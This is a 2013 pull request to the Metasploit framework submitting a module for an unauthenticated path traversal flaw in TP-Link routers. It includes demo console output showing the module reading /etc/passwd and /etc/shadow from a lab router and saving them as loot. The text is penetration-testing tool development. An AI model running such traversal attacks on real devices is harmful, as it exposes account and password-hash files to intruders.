rapid7/metasploit-framework — pull request #1638 by m-1-k-3 (2013-03-23 19:33:17+00:00)
Title: tplink traversal - initial commit

Hey guys,

the module for the unautenticated traversal vulnerability on tplink routers.

More details: http://www.s3cur1ty.de/m1adv2013-011

Exploiting Demo - 192.168.178.105 / 0 auxiliary(tplink_traversal_noauth) > set VERBOSE false
VERBOSE => false
Exploiting Demo - 192.168.178.105 / 0 auxiliary(tplink_traversal_noauth) > run

[*] 192.168.178.2:80 - connecting
[+] 192.168.178.2:80 - Request may have succeeded on file /etc/passwd
[+] 192.168.178.2:80 - Request may have succeeded on file /etc/shadow
[+] 192.168.178.2:80 - Request may have succeeded on file /etc/issue
[+] 192.168.178.2:80 - Request may have succeeded on file /etc/fstab
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Verbose = true:

Exploiting Demo - 192.168.178.105 / 0 auxiliary(tplink_traversal_noauth) > set VERBOSE true
VERBOSE => true
Exploiting Demo - 192.168.178.105 / 0 auxiliary(tplink_traversal_noauth) > run

[*] 192.168.178.2:80 - connecting
[+] 192.168.178.2:80 - Request may have succeeded on file /etc/passwd
[+] 192.168.178.2:80 - File /etc/passwd downloaded to: /root/.msf4/loot/20130323202934_default_192.168.178.2_lfi.data_226372.txt
[+] 192.168.178.2:80 - Response - File /etc/passwd:
root:x:0:0:root:/root:/bin/sh

Admin:x:0:0:root:/root:/bin/sh

bin:x:1:1:bin:/bin:/bin/sh

daemon:x:2:2:daemon:/usr/sbin:/bin/sh

adm:x:3:4:adm:/adm:/bin/sh

lp:x:4:7:lp:/var/spool/lpd:/bin/sh

sync:x:5:0:sync:/bin:/bin/sync

shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh

operator:x:11:0:Operator:/var:/bin/sh

nobody:x:65534:65534:nobody:/home:/bin/sh

ap71:x:500:0:Linux User,,,:/root:/bin/sh

[+] 192.168.178.2:80 - Request may have succeeded on file /etc/shadow
[+] 192.168.178.2:80 - File /etc/shadow downloaded to: /root/.msf4/loot/20130323202934_default_192.168.178.2_lfi.data_175619.txt
[+] 192.168.178.2:80 - Response - File /etc/shadow:

snip

looking forward to your feedback

Best,
Mike